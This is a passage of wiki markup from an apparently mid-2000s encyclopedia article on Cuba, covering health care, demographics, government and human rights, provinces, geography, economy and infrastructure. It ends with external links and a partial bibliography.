|align=right|''Child mortality m/f:''
|8/6 (per 1000)
|-
|align=right|''Adult mortality m/f:''
|137/87 (per 1000)
|-
|align=right|''Total health expenditure per capita:''
|$236
|-
|align=right|''Total health expenditure as % of GDP:''
|7.5

|}

[[Fidel Castro]] has long made the promise of free, universal health care an important part of the case for his government. Cuba's healthcare system is widely regarded as one of the best in the world; however WHO data cited here comes directly from national health authorities of each country [http://www.paho.org/english/dd/ais/coredata.htm]. Thus, there are some who do not trust this data [http://www.catholicsfordemocracy.org/node/6999] [http://www.newsmax.com/archives/articles/2002/12/6/145131.shtml#3a]. Cuba has had good doctors for centuries such as [[Carlos Finlay]], who determined how [[yellow fever]] was spread; thus during the 1898-1902 US presence in Cuba with much heroic sacrifice such as that of Clara Louise Maas [http://www.npl.org/Pages/ProgramsExhibits/Exhibits/333faces.html] yellow fever was essentially eliminated.  The massive Havana hospital, &quot;Calixto Garcia&quot; as well as 72 others were operating well before 1959. [http://lanic.utexas.edu/la/cb/cuba/asce/cuba8/30smith.pdf], [http://136.142.158.105/Lasa2003/McGuireJames.pdf] However, like the rest of the Cuban economy, Cuban medical care has suffered from severe material shortages following the end of Soviet subsidies. Support from the Venezuelan government of [[Hugo Chávez]] has alleviated some of those problems. 

Today, according to Cuban government statistics, Cuba has over 71,000 doctors [http://www.granma.cu/ingles/2005/noviembre/juev17/47turquino.html], with 20,000 health workers in Venezuela, and 5,000 more spread around the world in over 60 additional countries, as it views such missions an important part of its foreign policy. They offer medical services to 85,154,748 people; 34,700,000 in Latin America and the Caribbean and 50,400,000 in Africa and Asia. 

Cuba has sent doctors to underdeveloped nations and educated foreign doctors since the early 1960s. It dispatched physicians to help [[Nicaragua]] and [[Peru]], then hostile to Cuba, recover from earthquakes. [http://www.cubanet.org/CNews/y98/nov98/30e5.htm]

Cuban doctors played a vital role in the health-care system of [[Sri Lanka]] in the 1980s, particularly in the war-torn North-east province, when a crisis in that country's education system limited the number of doctors coming out of universities. 

Cuba has also given treatment on the island to more than 14,000 children and 4,000 adults damaged by radiation in Chernobyl, which is actually more than the rest of the world combined has done for the victims during that catastrophe.

During the UN's general assembly in 2000, [[Fidel Castro]] offered the [[United Nations]] 6,000 doctors for service in the third world. 

&quot;But one of Castro's most respected achievements is the establishment of a comprehensive health system producing one doctor for every 170 people, compared to 188 in the US and 250 in the UK. Teams of Cuban doctors assess applicants for eye surgery before sending patients to [[Havana]] on special flights from ten Caribbean countries and more than 15 Latin American nations. On August 20, Cuba achieved what is almost certainly a world record - performing 1,648 eye operations at 20 hospitals in a single day.&quot;

&quot;Since July 25, more than 3,000 people from ten Caribbean countries have had eye operations in Cuba funded by oil-rich [[Venezuela]]. Other patients from Central and South America bring the total to 100,000 free eye operations this year.&quot; [http://news.scotsman.com/health.cfm?id=2305142005]

Like a number of countries, Cuba has developed a hospital system for [[health tourism|health tourists]], taking advantage of a combination of low labor costs, an educated work force, and the ability of such tourists to pay in much desired hard currency for their care. 

The country is now able to operate and provide services in all branches of [[ophthalmology]] to hundreds of thousands of patients. Castro promises that one hundred thousand Venezuelans will receive these services this year, and until July 2005, 25,024 patients from said country, and a similar number of Cubans will have been operated on [http://www.nnc.cubaweb.cu/agosto-05/nac9208-05.htm]. 15,000 citizens of the Caribbean community will receive this form of medical care between the second half of June 2005 and June 2006. [[Venezuela]] and Cuba have offered to provide another 100,000 Latin Americans with this service within the same period.  Cuba has been able to reduce reported infant mortality to zero in certain remote rural areas.[http://www.lademajagua.co.cu/archivo2003.htm].

=== Demographics ===
{{main|Demographics of Cuba}}
[[Image:Cuba-demography.png|300px|thumbnail|right|Cuba's population in thousands(1961-2003)]]
According to the CIA's World Factbook, Cuba is 51% [[mulatto]] (mixed white and black), 37% [[whites|white]], 11% [[blacks|black]], and 1% [[overseas Chinese|Chinese]].

The Chinese population in Cuba derives mostly from laborers who arrived in the 19th century to build [[railroad]]s and work in [[mine]]s, as was also occurring in the United States at this time. Most stayed in Cuba, as they could not afford a return passage to China. Historical papers show that, while considered inferior to Cubans of European descent, they were considered superior to blacks due to their paler skin. 

In Cuba there is relatively little [[racism|racial tension]]. Nevertheless, the sizeable [[Jamaica]]n population in [[Santiago de Cuba]] is frequently [[racial stereotype|stereotyped]] as lazy. Also, lighter skinned people often have more prestigious jobs (although in socialist Cuba this does not translate to a high difference in income). The melting pot is expressed not only in a racial sense, but also in religion (see below) and the [[music of Cuba]].  There is internal illegal immigration to Havana seeking greater opportunities, these internal illegals are known as &quot;palestinos.&quot; Cuba also shelters a population of non-Cubans of unknown size. This population includes defectors from the US e.g. [[Phillip Agee]] [http://www.cvni.net/radio/e2k/e2k001/e2k01news.html] and foreign activists of various radical causes [http://coranet.radicalparty.org/pressreleases/press_release.php?func=detail&amp;par=7663].

Cuba has a low birth rate.  The fertility rate of 1.66 children per woman[http://www.cia.gov/cia/publications/factbook/geos/cu.html#People] is the lowest of any country in the [[western hemisphere]] (tied with Canada and Barbados). A contributing cause is Cuba's policy of [[abortion]] on demand. Cuba has a high abortion rate of 77.7 abortions per 1,000 women aged 15-44 in 1996, 3rd highest in the world among 55 countries whose abortion rate was available to be compiled in a 1999 UN study. [http://www.un.org/esa/population/publications/abt/fabt.htm]  Selective termination of high-risk pregnancies is one factor contributing to the low official infant mortality rate in Cuba of 5.8 per thousand births. (''[http://www.unicef.org/publications/files/SOWC_2005_(English).pdf State of the World's Children 2005]'') However, this high abortion rate and very low birth rate, reminiscent of former Communist Eastern Europe and Russia, threatens to cause the population to shrink significantly in the coming decades, although this has not happened yet due to relatively small numbers of elderly.

Immigration and emigration have had noticeable changes in the demographic profile of Cuba during the 20th century.  Between 1900 and 1930 close to a million Spaniards arrived from Spain. Cuba has historically been more heavily European than other Caribbean islands, and in 1950 was said to have a 75% white majority. Since 1959, over a million Cubans have left the island, primarily to [[Miami, Florida]] where a vocal, well educated and economically very successful anti-Castro community exists ([[Cuban-American lobby]]). [http://www.sela.org/public_html/AA2K2/eng/docs/coop/migra/spsmirdi12-02/spsmirdi12-2.htm] The emigration that occurred immediately after the Cuban Revolution was primarily of the upper and middle classes that were predominantly white, thus contributing to a demographic shift along with changes in birth rates among the various ethnic groups.  After the chaos that accompanied the Mariel boatlift, Cuba and the United States (commonly called the 1994 Clinton-Castro accords [http://history.acusd.edu/gen/20th/1990s/clinton.html]) have agreed to limit emigration to the United States.  Under this, the United States grants a specific number of visas to those wishing to emigrate (20,000 since 1994) while those Cubans picked up at sea trying to emigrate without a visa are returned to Cuba. However, U.S. law [http://uscis.gov/graphics/services/residency/CAA.htm] grants U.S. residency to any Cuban who arrives on U.S. soil without a visa, thus there is still an unofficial exodus [http://www.miami.com/mld/miamiherald/news/world/americas/13141840.htm]; these escapes are often daring and  most ingenious e.g. [http://www.local6.com/news/5330948/detail.html] [http://www.miami.com/mld/miamiherald/news/world/cuba/13816518.htm].  The numbers of Cubans who leave by sea is still about 2,000 a year but the trend is upward at present [http://www.miami.com/mld/miamiherald/news/world/cuba/13816518.htm]  [http://www.miami.com/mld/miamiherald/news/world/americas/13331841.htm].
In 2005 an additional 7,610 Cuban emigrants from Cuba entered through the &quot;southern border  in the fiscal year that ended Sept. 30&quot; [http://www.miami.com/mld/miamiherald/news/world/cuba/13512948.htm?source=rss&amp;channel=miamiherald_cuba]

==Government and politics ==
[[Image:Revolution square.jpg|thumb|350px|Revolution Square: José Martí Monument designed Enrique Luis Varela, sculpture by Juan José Sicre and finished in 1958. [http://136.142.158.105/Lasa2001/QuintanaNicolas.pdf]]]
{{main articles|[[Politics of Cuba]] and [[Elections in Cuba]]}}

The Cuban constitution states that, &quot;the [[Communist Party of Cuba]]...is the superior guiding force of society and the state.&quot; Members are selected by the party in a thorough process that includes interviews with co-workers and neighbors. Those selected are considered model citizens and strong supporters of the revolution. It makes recommendations concerning the future development of the revolution, and it criticizes tendencies it considers counterrevolutionary. It has a relatively large influence in Cuba, but its authority is &quot;moral&quot;, not on any legal authority. The Communist Party of Cuba is the sole legal political party, and no other party is legally allowed to exist.  

Elections are held by secret ballot and everyone age 16 or older can vote. Neighborhood committees nominate candidates for the municipal assemblies who are then placed before the voters whom chose among several candidates. Candidates for the National Assembly are nominated by municipal assemblies with one candidate for each seat and put to an approval vote where voters may approve all, some or none of the candidates (source: &quot;Democracy in Cuba and the 1997-1998 Elections&quot; by Arnold August).  

Legislative power is nominally in the hands of the [[National Assembly of People’s Power of Cuba|National Assembly of People’s Power]].  However, save for two sessions a year, power is exercised by the 31 member [[Council of State of Cuba|Council of State]] which is elected by the National Assembly from itself.   

Executive authority is formally vested in the [[Council of Ministers of Cuba|Council of Ministers]], a large cabinet comprised of 8 members of the Council of State, the heads of the national ministries, and other persons.  A smaller Executive Committee consisting of the more important members of the Council of Ministers oversees normal business.

[[Fidel Castro]] has been the [[head of government]] since 1959, first as [[prime minister]] and, after the abolition of that office with the adoption of the 1976 Constitution, as President of the Council of State, which also serves as [[head of state]]. He is also First Secretary of the Communist Party of Cuba, and since 1976 a member of the National Assembly from the municipality of [[Santiago de Cuba]]. (The 1976 Constitution and its 1992 revision require that the President of the Council of State be a member of the National Assembly). 

=== Human rights ===
{{main|Human rights in Cuba}}

The Cuban government has in the past been accused of numerous [[human rights abuse]]s, including [[torture]], arbitrary imprisonment, unfair trials, and extra-judicial executions [http://www.cidh.org/countryrep/Cuba67sp/indice.htm]. Many argue that thousands of unjustified deaths have occurred since the revolution.  Dissidents currently complain of harassment; others claim torture [http://newsfromrussia.com/world/2005/11/16/67822.html]. The Cuban Government placed a moratorium on capital punishment in 2001, making an exception for perpetrators of an armed hijacking 2 years later. However, since Castro, in power for the last 47 years, denies access to many humanitarian organizations, it is difficult to determine exact numbers.

Groups like [[Amnesty International]] and [[Human Rights Watch]] have issued many reports about prisoners of conscience. [http://web.amnesty.org/library/eng-cub/index]  Cuba remains one of the few countries in the world, and the only one in the Western Hemisphere, to deny the International Committee of the Red Cross access to its prisons. [http://hrw.org/english/docs/2005/01/13/cuba9848.htm]

All Cuban workers have the right to join a trade union, and although membership of a union is voluntary ninety eight per cent of the active population belong to one of the 19 trade unions in Cuba. Cuban law permits workers to freely form trade union organisations and does not require such organisations to register with any state agency in order to function or to acquire legality. Unions are self financed from monthly dues, which are paid by members to their local union official, and they receive no subsidies from the state. Elections of union officers at the workplace are open and competitive. Different political views are found within each of the unions. An official worker's central trade union organisation, The [[Worker's Central of Cuba]] (Central de Trabajadores de Cuba, CTC) is routinely consulted by central government when new laws are being considered. [http://www.cuba-solidarity.org/democracy.htm]  Not all accept this view of Cuban labor organizations and see them as a mere    arm of the state (Alba,1968).

Supporters of the Cuban government will often compare the human rights record to the authoritarian rule under the previous U.S. backed regime of [[Fulgencio Batista]], and they argue that the overall current situation would have been far better if not for U.S. sanctions. They also claim that the electoral system in Cuba today is more democratic than that of most western nations, where business interests hold political clout.

== Provinces ==
{{main|Provinces of Cuba}}

Fourteen provinces and one special municipality (the [[Isla de la Juventud]]) now comprise Cuba. These in turn were formerly part of six larger historical provinces: Pinar del Rio (item 1 on map), Habana (items 2,3,4 on map), Matanzas, Las Villas (approximately 6, 7, 8, and 9 on map, Camaguey (roughly 10 and part of 11) and Oriente (part of 11, plus 12, 13, 14, and 15). The present subdivisions closely resemble those of Spanish military provinces during the Cuban Wars of Independence, when the most troublesome areas were subdivided. 

{| align=center
|colspan=4|[[Image:CubaSubdivisions.png]]
|-
|align=right|'''1'''
|colspan=3|[[Isla de la Juventud]] (''Isle of Youth'')
|-
|align=right|'''2'''
|[[Pinar del Río Province|Pinar del Río]]
|align=right|'''9'''
|[[Ciego de Ávila Province|Ciego de Ávila]]
|-
|align=right|'''3'''
|[[La Habana Province|La Habana]] (''Havana'')
|align=right|'''10'''
|[[Camagüey Province|Camagüey]]
|-
|align=left|'''4'''
|[[Ciudad de La Habana Province|Ciudad de la Habana]] (''Havana City'')
|align=right|'''11'''
|[[Las Tunas Province|Las Tunas]]
|-
|align=right|'''5'''
|[[Matanzas Province|Matanzas]]
|align=right| '''12'''
|[[Granma Province|Granma]]
|-
|align=right|'''6'''
|[[Cienfuegos Province|Cienfuegos]]
|align=right|'''13'''
|[[Holguín Province|Holguín]]
|-
|align=right|'''7'''
|[[Villa Clara Province|Villa Clara]]
|align=right|'''14'''
|[[Santiago de Cuba Province|Santiago de Cuba]]
|-
|align=right|'''8'''
|[[Sancti Spíritus Province|Sancti Spíritus]]
|align=right|'''15'''
|[[Guantánamo Province|Guantánamo]]
|-
|}

== Geography ==
{{main|Geography of Cuba}}
[[Image:Cu-map.png|350px|thumb|Map of Cuba]]

Geologically Cuba was once in the Pacific, and crossing between North and South America before they were joined, &quot;crashed&quot; into what is now Florida [http://oceanexplorer.noaa.gov/explorations/02mexico/background/geology/geology.html].  Cuba, 65 million years ago, also received part of the impact of [[Chicxulub Crater]] with tsunami kilometers high reaching at least 500 [[kilometre]]s (300&amp;nbsp;[[mile|mi]]) away to the middle provinces [http://www.cuba.cu/ciencia/citma/ama/museo/pugeorr.htm], [http://www.eluniversal.com.mx/articulos/26483.html] and beyond.  The elongated island (aprox. 760 miles or 1,220 km long) of Cuba is the largest island in the [[Caribbean]] and is bounded to the north by the [[Straits of Florida]] and the greater North [[Atlantic Ocean]], to the northwest by the [[Gulf of Mexico]], to the west by the [[Yucatan Channel]], to the south by the [[Caribbean Sea]], and to the east by the [[Windward Passage]]. The Republic comprises the entire island, including many outlying islands such as the [[Isla de la Juventud]] (Isle of Youth), previously known as the Isla de los Pinos (Isle of Pines).  The [[Cayman Islands]] mainly coral reefs covering submerged ice age peaks of the Sierra Maestra range [http://www.trekearth.com/gallery/Europe/United_Kingdom/Other/photo296490.htm]) and [[Jamaica]] which is geologically related to Central America are south of eastern Cuba.  [[Guantánamo Bay]], is a naval base that has been leased by the [[United States]] since 1903, a lease that has been contested since 1960 by Castro.

The main island is the [[List of islands by size|world's 16th largest]].  The island consists mostly of flat to rolling plains, with more rugged hills and mountains primarily in the southeast and the highest point is the [[Pico Real del Turquino]] at 2,005 metres (6,578 [[foot (unit of length)|ft]]). The local [[climate]] is tropical, though moderated by trade winds. In general (with local variations), there is a drier season from November to April, and a rainier season from May to October.

[[Havana]] is the largest city and capital; other major cities include [[Santiago de Cuba]] and [[Camagüey]]. Some of the well-known smaller towns are [[Baracoa]] which was the first Spanish settlement on Cuba, as well as [[Trinidad, Cuba|Trinidad]] and [[Bayamo]].

* {{cite journal | author=Rojas-Consuegra, R., M. A. Iturralde-Vinent, C. Díaz-Otero y D. García-Delgado | title=Significación paleogeográfica de la brecha basal del Límite K/T en Loma Dos Hermanas (Loma Capiro), en Santa Clara, provincia de Villa Clara. I Convención Cubana de Ciencias de la Tierra. | journal=GEOCIENCIAS| volume=8 | issue=6 | year=2005 | pages=1-9 |  id=ISBN 959-7117-03-7 }}

== Economy ==
{{main|Economy of Cuba}}

Cuba's socialist economy is primarily based on [[state ownership]] &amp;mdash; exceptions to this include microscale private enterprises. Economic activity is thereby maintained largely by government spending. Such federal spending in 2005 budgeted 68% towards education, healthcare, social security, cultural programs, sports, and scientific research.&lt;ref&gt;[http://www.granma.cu/ingles/2004/diciembre/vier24/01presup.html]&lt;/ref&gt; According to Cuban statistics, during the first half of the year the Cuban economy grew by 7.3%, with 9% growth expected by the end of the year.&lt;ref&gt;[http://www.mltoday.com/Pages/Cuba/Fidel-Moncada-05.html]&lt;/ref&gt;

Since Cuba became a socialist country the Ministerio de Recuperación de Bienes Malversados (Ministry of recovery of stolen goods), much of Cuban art and libraries formerly held by more prosperous Cubans now in exile has been recovered for the state [http://www.miami.com/mld/elnuevo/news/opinion/13956573.htm].  This art work which has increased greatly in value [http://www.artcult.com/4001.htm] [http://www.futurodecuba.org/Reclaiming%20Art%20Caught%20in%20the%20Cuban%20Revolution%20By%20CELESTINE%20BOHLEN.htm] can now be exported to promote the needs of the Cuban State.

Since the fall of Cuba's many trading partners, the island has focused on urban communal farms. &quot;Last year alone we produced 27 kilograms of vegetables per square metre. When we first started this farm three years ago it stood at 18 kilograms. And we expect this year's harvest to yield no less than 30 kilograms. That's an increase of around 30% year on year.&quot;, says Senora Hernandes, in charge of one of hundreds of small urban farms dotted around Havana. &quot;A recent report by the American agency for sustainable farming, Food First, said annual production of fruit and vegetables is growing at 250% a year.&quot; [http://news.bbc.co.uk/1/hi/business/1409898.stm]. While “Locally grown fruit and vegetables can significantly augment a country’s commercial production and imports, but will not, however, provide long-run food and agricultural solutions.” (Kost, 2004). The reason for this is that the first limiting factor for production is nitrogen. While green “manures” (Ramos, et al. 2001), endophytic, microrhizzal and other associated organisms (Loiret et al. 2004; Tejera et al, 2006), and animal manures (Travieso, 2006) can supplement this to some extent this circumstance will require wider plantings of the type required before inorganic fertilizers became widely available (Ortiz, 1995)

[[Image:Cuba cienfuegos palacio azul.jpg|thumb|300px|A Cuban state hotel, from 30 &amp;euro; per night]]

Historically, [[sugar]], [[tobacco]] and (later) [[nickel]] were the main sources of foreign trade income for Cuba.  In the 19th Century, until the richer ores of Chile were found, it was common to export some of Cuba's long mined copper ore to Wales [[History of Swansea]] and England [http://www.projects.ex.ac.uk/cornishlatin/cobre.htm]. But in the 1990s [[tourism]] saw an explosive growth, becoming the second most popular tourist destination in the Caribbean to the [[Dominican Republic]]. Until recently Cubans also receive an estimated $850 million annually from Cubans in the U.S. who send money to relatives or friends. However, State  Security is reported able to confiscate this money from individuals when it deems that appropriate [http://www.bitacoracubana.com/desdecuba/portada2.php?id=1126].  In 1993 the [[United States dollar|U.S. dollar]] was made legal tender (the country operated under a dual-currency system);  this arrangement was, however, revoked on [[25 October]] [[2004]].  At that time, use of the dollar in business was officially banned, and a 10% surcharge was introduced for the conversion of dollars (in cash) to convertible pesos, the island's new official currency.  Other currencies, including the [[euro]], were not affected. See details at [http://www.globalpolicy.org/nations/sovereign/dollar/2004/1026cubadollar.htm the Ludwig Van Mises Institute].

The Cuban economy was hit hard in the early 1990s following the collapse of the [[Soviet Union]] and the [[Comecon]] economic bloc, with which it had traded predominantly. For several decades, Cuba received what was effectively a [[Soviet]] [[subsidy]], whereby Cuba provided the Soviet Union with [[sugar]] and the Soviets provided Cuba with [[petroleum]] at below market prices. In response, Cuba opened up to tourism, which is now a major source of income. Since 2003, both tourism levels and nickel prices increased. One other factor in the proclaimed recovery of the Cuban economy were the remittances from Cuban-Americans, now  much diminished, which for a while constituted a large part of the external inputs into the Cuban Economy.

Cuba currently trades with almost every nation in the world, albeit with restrictions from the [[United States embargo against Cuba|U.S. embargo]]. Trade with the United States is restricted to cash-only transactions for food and medicine. Any company that deals with Cuba risks problems dealing with the United States, so internationally operating companies may be forced to choose between Cuba and the United States, which is a far larger market. This extraterritorial U.S. legislation is considered highly controversial, and the U.S. embargo was condemned for the 13th time in 2004 by the [[General Assembly]] of the [[United Nations]], by 179 countries (out of 183 voting). The main current trading partners of Cuba are: [[Venezuela]], [[China]], [[Spain]], [[Canada]] and, the [[Netherlands]].

Cuba owes approximately $5.4 billion in foreign debt to [[Paris Club]] nations such as France, Japan and Germany.  Cuba also has other sources of debt including approximately $25 billion in debt disputed with Russia dating from the era of the Soviet Union. [http://www.mosnews.com/money/2005/09/15/cubadebt.shtml] The lack of domestic sources of capital financing, an inherent by-product of its socialist economic system, makes Cuba's debt extremely vulnerable to disruptions in trade.

Although U.S. citizens are not officially banned from travelling to Cuba, they are generally prohibited from spending money there (exceptions are made for students studying in Cuba, diplomats, certain business people, and people with family members in Cuba), which amounts to a ''[[de facto]]'' travel ban, as Cuba requires that foreign visitors spend a minimum of three nights in a hotel; moreover, the only direct flights from the United States are strictly for those with family members in Cuba, or others with licences from OFAC. Nevertheless, U.S. citizens can visit Cuba by travelling through other countries (like [[Mexico]], [[Canada]] or the [[Bahamas]]) because Cuban immigration does not stamp the passports (the visum is a separate leaflet). However, U.S. citizens are liable to fines and imprisonment if discovered and prosecuted by the U.S. government.  Several Americans have been caught by US pre-clearance agents getting off flights in [[Toronto]] and [[Nassau]], so Cuban travel agents advise Americans to avoid these routes.

Although struggling with its economy since the fall of the Soviet Union, Cuba has seen substantial improvements since the early 1990s. The economy has been helped in recent years by strong tourism, international investment in nickel production and oil exploration as well as beneficial oil purchases from Venezuela, in exchange for medical services.

A major problem is damage from [[hurricanes]]. All [[Caribbean]] islands suffer from hurricanes and the Cuban government uses this as an argument to urge the islands to cooperate, promoting an agreement of mutual self-insurance, so that if one island gets hit, the other islands will help it out. He says that if the United States get hit, the economy of the rest of the country will take the blow, but if a Caribbean island gets hit, that may devastate the entire economy.

Over 7,300 homes have been completed in 2005; thus it is expected (estimating five people per residence) that in about three hundred years all housing will be replaced.  Plans to repair the  majority of homes partially affected by [[Hurricane Dennis]] and others [http://www.caribbean-on-line.com/hurricanes/] are said underway. The Cuban government predicts that no less than 10,000 of the homes destroyed will be built again as new and the plans to finish and construct new homes to cover the most urgent requirements will continue, up to at least 30,000 additional housing.

Cuba is notable for its national [[organic farming|organic agriculture]] initiative. However, it is wise to keep in mind that  Cuban government is said by some to be less than open about agricultural abuses [http://www.cubanet.org/opi/03020401.htm].  In the early 1990s, post-Soviet Union, Cuba lost over 70% of agricultural chemical imports, over 50% of food imports, and an equally significant amount of oil. Its agricultural sector, built on a large-scale, mechanized, chemical-based model, was instantly crippled. By restructuring its agricultural industry, and focusing scientific efforts on organic solutions, Cuba managed to rapidly and successfully convert the country to entirely organic production. Currently, only organic agriculture is permitted by law, which while having the effect of reducing the need for imports, has also led to lower yields. Combined with the removal of marginal land from sugar farming, this led to a reduction in total sugar production of over 70% from around 7 millions tons anually in the late 1980s to around 3 million tons annually in the late 1990s [http://lanic.utexas.edu/la/cb/cuba/asce/cuba5/FILE30.PDF] [http://www.fas.usda.gov/htp/highlights/2001/IATR/cubaiatr.pdf]; to 1.6 million tons in 2004 [http://hotdocs.usitc.gov/docs/pubs/701_731/pub3793.PDF]. Today, Cuba is a leading nation in [[biotechnology]], and Cuban expertise is exported to Iran [http://www.granma.cu/ingles/2005/enero/lun17/04iran.html]; however some claim that this relates to biowar potential [http://www.netforcuba.org/Columnists/Cereijo/001en-CubaandTerrorism.htm]. More than 100 million USD are currently being invested in the pharmaceutical industry.

On a total population of 11 million, Cuba has 250,000 educators, 67,500 medical doctors, and 34,000 physical education and sports professionals and technicians.[http://www.embacubalebanon.com/discurso05apr2001e.html]

==Infrastructure==
[[Image:Camello.JPG|thumb|275px|right|A ''Camello'' (camel) bus.  Public transportation costs 20 centavos [[Cuban Peso|CUC]] per ride.]]
Cuban infrastructure is significant and includes: massive Spanish fortifications built in principal ports [http://whc.unesco.org/pg.cfm?cid=31&amp;id_site=204] (e.g. [[El Morro]] [http://www.regiments.org/special/essays/cuba/1762/morro.htm] castles in Havana (1589) and Santiago; [[Castillo San Salvador de la Punta]] [http://travel.yahoo.com/p-travelguide-2769840-castillo_san_salvador_de_la_punta_havana-i];  (finished by 1630); [[La Fuerza]][http://www.oldhavanaweb.com/fortresses/castillo_de_la_real_fuerza_castle_of_the_royal_force.html] (finished 1577); San Carlos de [[La Cabaña]] the largest in the Americas; [[El Principe]] [http://www.geocities.com/naforts/atlantic.html]; [[Atares]] [http://www.geocities.com/naforts/atlantic.html#cuba] around Havana Bay) [http://www.carilat.de/havannacoast.htm]. Railroads were first built in the late colonial period and finished in the first part of the 20th Century. Vital sanitation facilities were constructed in the US period. The Presidential Palace [http://www.abellaweb.com/books/tga/book-frameset.html] was built between 1913 and 1919 under presidents Gómez y de Menocal, and designed by a group that included architect Rodolfo Maruri. The central highway was constructed during the [[Gerardo Machado]] administration. There are tunnels in Havana under the bay and under the Almendares River, and some highways in the old Oriente Province, Via Azul and Via Mulata, and Havana-Matanzas Via Blanca were completed in the second [[Fulgencio Batista]] period. A complex network of massive dams [http://webcutc.org/documentos/notinoticias14.htm] and  complex semi-secret underground fortifications [http://www.cubanet.org/CNews/y96/sep96/9eco2.html] were built in the present [[Fidel Castro]] period. In addition there are significant numbers of historic buildings and reinforced concrete high rises built in the Republican period.  Statues and other monuments dot the Island. Each construction has its own particular story that often relate to important events in the history of the island.  For instance some of the cobblestones that surround the Havana docks were brought in from Sweden, on the return trips of ships smuggling sugar into Britain during WWI.

== See also ==
{{Topics related to Cuba}}

== Notes ==


==External links==
&lt;div style=&quot;margin: 0 0 1em 1em; border: solid #aaa 1px; background: #f9f9f9; padding: 1ex; font-size: 90%;&quot; class=&quot;thumb tright&quot;&gt;
{|
|| [[Image:Portal.gif|Portal]]
|| '''''[[Portal:Caribbean|Caribbean portal]]'''''
|}
&lt;/div&gt;
{{sisterlinks|Cuba}}

===Official===
*''[http://www.granma.cu/ingles/index.html Granma]'' &amp;mdash; Communist Party of Cuba Newspaper (in English)
*[http://www.cubagob.cu/ingles/default.htm Republic of Cuba] &amp;mdash; (in English)
*[http://www.cubapolidata.com/gpc/gpc_council_of_state.html List of members of the Council of State]
*[http://www.plenglish.com.mx Prensa Latina] &amp;mdash; Cuban World News (in English)
*[http://www.ain.cubaweb.cu/idioma/ingles/principalingles.htm Cuban News Agency] &amp;mdash; Cuban News (in English)

===General===
*[http://www.caribbeannetnews.com/cuba/cuba.htm Caribbean Net News] - (Daily Caribbean news -- Cuba.)
*[http://www.acus.org/docs/0503-U.S.-Cuban_Relations_Analytic_Compendium_Policies_Laws_Regulations.pdf U.S.-Cuban Relations: An Analytic Compendium of U.S. Policies, Laws &amp; Regulations] - Occasional Paper (March 2005) by Dianne E. Rennack and Mark P. Sullivan from the Atlantic Council of the US.
*[http://cuba.alivepages.com Information about Cuba] &amp;mdash; Culture, history, demography, geography, religion, etc.
*[http://www.onu.edu/cuba Center for Cuban Business Studies] &amp;mdash; The Cuba Center at Ohio Northern University
*[http://www.cuba-solidarity.org/ Cuba Solidariry] &amp;mdash; British campaign for the defence of Cuba and its peoples' right to self-determination and national sovereignty.
*[http://www.webhavana.com/CubaMaps/index.php Cuba Maps] &amp;mdash; Maps of all the provinces of Cuba, and maps of the major cities.
*[http://www.cubamusic.com Cubamusic] &amp;mdash; All about Cuban music
*[http://www.cubanet.org/cubanews.html CUBANET] &amp;mdash; An anti-Castro site including news articles from Cuba's independent journalists and a digest of Cuban news by international newspapers
*[http://www.cubaencuentro.com Encuentro en la Red] &amp;mdash; Independent news and cultural site on Cuban matters
*[http://www.antanlontan-antilles.com/caribbean-postcards/cuba.htm Discover Cuba through a collection of old Photos &amp; Vintage Postcards.]
*[http://www.travel-impressions.de/cuba/cuba_mix/waves.htm Photos of people and Sights]
*[http://www.cuba-pictures.com/ Cuba Pictures] Photos from all 14 Cuban provinces, plus the city of Havana
*[http://www.paseosporlahabana.com/ Paseos por La Habana] Havana guide (in Spanish) and travel information. Details of culture, history, traditions, routes, hotels, restaurants and bars.
* [http://www.canadiancontent.net/profiles/Cuba.html#travelling Travel Advisories for Cuba] Updated section on travel dangers.
*[http://www.kuba-cuba.com/english.html Link guide to Cuba.] Discover Cuba through a collection of sorted links.
*[http://www.cubaaidsproject.com Cuba AIDS Project] HIV and AIDS in Cuba
*[http://www.cuba-linda.com] Cuba Linda French site
*[http://www.infidels.org/library/historical/robert_ingersoll/spain_and_spaniard.html Spain and the Spaniard] A contemporary opinion of the Cuban uprising
*[http://hdr.undp.org/statistics/data/country_fact_sheets/cty_fs_CUB.html UN HDI] &amp;mdash; Human Development Index for Cuba from UN
*[http://www.ifex.org/en/content/view/full/1033/ IFEX] &amp;mdash; Freedom of expression in Cuba from [[IFEX]]
*[http://www.quaylargo.com/Productions/McCelvey.html/ The Electoral process in Cuba] &amp;mdash; Democracy in Cuba
*[http://www.cubaminrex.cu/English/61CDH/Complete%20texts/Cuba%B4s%20Political%20and%20Elections%20System.htm Cuba's Political and electoral system]
*[http://www.state.gov/p/wha/ci/c2461.htm U.S. Department of State] &amp;mdash; Cuba, from the U.S. government's point of view
*[http://www.cuban-store.com Todo de Cuba] Many informations about Cuba
*[http://www.mi-cuba.de.to The Infoportal of Cuba] Information in English, French and German
*[http://www.cubanet.org/ref/dis/const_92_e.htm The Cuban Constitution]
*[http://www.military.com/Content/MoreContent?file=PRhemingway] Allinson, Sidney. Military History Undercover: Ernest Hemingway
*[http://www.netforcuba.org/InfoCuba-EN/CubainPictures/CubainPictures.htm Photos of the Other Cuba]

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(very incomplete list please add [http://www.latinamericanstudies.org/cubabooks.htm])

Alba, Víctor 1968 Politics and the labor movement in Latin America. Stanford University Press, Stanford, California. ASIN B0006BNYGK

Álvarez Batista, Gerónimo 1983. III Frente a las puertas de Santiago. Editorial Letras Cubanas, Havana.

Ameringer, Charles D 1995 The Caribbean Legion Patriots, Politicians, Soldiers of Fortune, 1946-1950 Pennsylvania State University Press (December, 1995) (Paperback) ISBN 0271014520

Anderson, Jon Lee 1997. Che Guevara: A Revolutionary Life, Bantam Press, ISBN 0553406647 or Grove Press, ISBN 0-8021-1600-0

Anton, Alex and Roger E. Hernandez 2002 Cubans in America: A Vibrant History of a People in Exile Kensington Publishing Corporation (May, 2002) ISBN 157566593X

Bonachea, Ramon L and Marta San Martin 1974. The Cuban insurrection 1952-1959. Transaction Publishers, New Brunswik, New Jersey ISBN 0878555765

Castro, Fidel 1972 (editors Bonachea, Rolando E. and Nelson P. Valdéz) Revolutionary Struggle. 1947-1958. MIT Press Cambridge, Massachusetts and London ISBN 0262020653

de la Cova 2006 The Moncada Attack: Birth of the Cuban Revolution. University of South Carolina Press (in press)

Duarte Oropesa, José 1989 Historiología Cubana.  Ediciones Universal Miami Vol 1. ISBN 0897294904, All volumes  ISBN 8439925808

El'Toro, John Demico Chicano 2005 Cuban Secrets: I look like a Jackson Tribunal Publishing Corporation (July, 2005) ISBN 0544235617

Enamorado, Calixto 1917 Tiempos. Heroicos Persecucion. Rambla, Bauza and Company, Havana. 

